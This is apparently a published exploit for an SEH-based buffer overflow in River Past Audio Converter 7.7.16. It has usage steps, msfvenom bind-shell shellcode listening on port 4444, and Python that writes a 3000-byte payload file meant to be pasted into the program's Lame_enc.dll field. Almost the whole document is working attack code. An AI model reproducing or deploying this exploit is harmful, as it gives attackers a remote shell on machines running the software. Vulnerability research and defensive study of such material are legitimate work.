River Past Audio Converter 7.7.16 - Buffer Overflow (SEH)

# Exploit Title: River_Past_Audio_Converter - Buffer Overflow (SEH)
# Date: 06.02.2019
# Vendor Homepage: www.riverpast.com
# Software Link: https://en.softonic.com/download/river-past-audio-converter/windows/post-download?sl=3D1
# Exploit Author: Matteo Malvica
# Tested Version: 7.7.16
# Tested on: Windows 10 - 10.0.17134.1
# Vulnerability Type: Local Buffer Overflow (SEH)
#
# Steps:
# 1.- Run python code : River_Past_Audio_Converter.py
# 2.- Open carbonara.txt and copy content to clipboard
# 3.- Open River_PastAudio_Converter.exe and click on the 'Options' inside fhe 'File' menu.
# 4.- Paste the content of carbonara.txt into the 'Lame_enc.dll' name field.
# 5.- Click 'OK' and you will have a bind shell listening on port 4444.

import socket
import struct

#msfvenom -p windows/shell_bind_tcp LPORT=4444  -a x86 -b '\x00\x0d\x0a\x42'  -f python
shellcode =  ""
shellcode += "\x31\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e\x81"
shellcode += "\x76\x0e\xba\xfe\x4d\xcc\x83\xee\xfc\xe2\xf4\x46\x16"
shellcode += "\xcf\xcc\xba\xfe\x2d\x45\x5f\xcf\x8d\xa8\x31\xae\x7d"
shellcode += "\x47\xe8\xf2\xc6\x9e\xae\x75\x3f\xe4\xb5\x49\x07\xea"
shellcode += "\x8b\x01\xe1\xf0\xdb\x82\x4f\xe0\x9a\x3f\x82\xc1\xbb"
shellcode += "\x39\xaf\x3e\xe8\xa9\xc6\x9e\xaa\x75\x07\xf0\x31\xb2"
shellcode += "\x5c\xb4\x59\xb6\x4c\x1d\xeb\x75\x14\xec\xbb\x2d\xc6"
shellcode += "\x85\xa2\x1d\x77\x85\x31\xca\xc6\xcd\x6c\xcf\xb2\x60"
shellcode += "\x7b\x31\x40\xcd\x7d\xc6\xad\xb9\x4c\xfd\x30\x34\x81"
shellcode += "\x83\x69\xb9\x5e\xa6\xc6\x94\x9e\xff\x9e\xaa\x31\xf2"
shellcode += "\x06\x47\xe2\xe2\x4c\x1f\x31\xfa\xc6\xcd\x6a\x77\x09"
shellcode += "\xe8\x9e\xa5\x16\xad\xe3\xa4\x1c\x33\x5a\xa1\x12\x96"
shellcode += "\x31\xec\xa6\x41\xe7\x96\x7e\xfe\xba\xfe\x25\xbb\xc9"
shellcode += "\xcc\x12\x98\xd2\xb2\x3a\xea\xbd\x01\x98\x74\x2a\xff"
shellcode += "\x4d\xcc\x93\x3a\x19\x9c\xd2\xd7\xcd\xa7\xba\x01\x98"
shellcode += "\xa6\xb2\xa7\x1d\x2e\x47\xbe\x1d\x8c\xea\x96\xa7\xc3"
shellcode += "\x65\x1e\xb2\x19\x2d\x96\x4f\xcc\xab\xa2\xc4\x2a\xd0"
shellcode += "\xee\x1b\x9b\xd2\x3c\x96\xfb\xdd\x01\x98\x9b\xd2\x49"
shellcode += "\xa4\xf4\x45\x01\x98\x9b\xd2\x8a\xa1\xf7\x5b\x01\x98"
shellcode += "\x9b\x2d\x96\x38\xa2\xf7\x9f\xb2\x19\xd2\x9d\x20\xa8"
shellcode += "\xba\x77\xae\x9b\xed\xa9\x7c\x3a\xd0\xec\x14\x9a\x58"
shellcode += "\x03\x2b\x0b\xfe\xda\x71\xcd\xbb\x73\x09\xe8\xaa\x38"
shellcode += "\x4d\x88\xee\xae\x1b\x9a\xec\xb8\x1b\x82\xec\xa8\x1e"
shellcode += "\x9a\xd2\x87\x81\xf3\x3c\x01\x98\x45\x5a\xb0\x1b\x8a"
shellcode += "\x45\xce\x25\xc4\x3d\xe3\x2d\x33\x6f\x45\xbd\x79\x18"
shellcode += "\xa8\x25\x6a\x2f\x43\xd0\x33\x6f\xc2\x4b\xb0\xb0\x7e"
shellcode += "\xb6\x2c\xcf\xfb\xf6\x8b\xa9\x8c\x22\xa6\xba\xad\xb2"
shellcode += "\x19"


padding="\x21"*280
nseh = "\xEB\x12\x90\x90"
seh =  struct.pack('<L',0x10011977)  # 10011977 # POP POP RET
rest = "\x24" * (3000-len(padding)-len(shellcode)-4)
nops = "\x90\x90\x90\x90"

payload = padding + nseh + seh  + nops * 16 + shellcode + rest

try:
        f=open("carbonara.txt","w")
        print "[+] Creating %s bytes pasta payload.." %len(payload)
        f.write(payload)
        f.close()
        print "[+] Carbonara created!"

except:
        print "Carbonara cannot be created"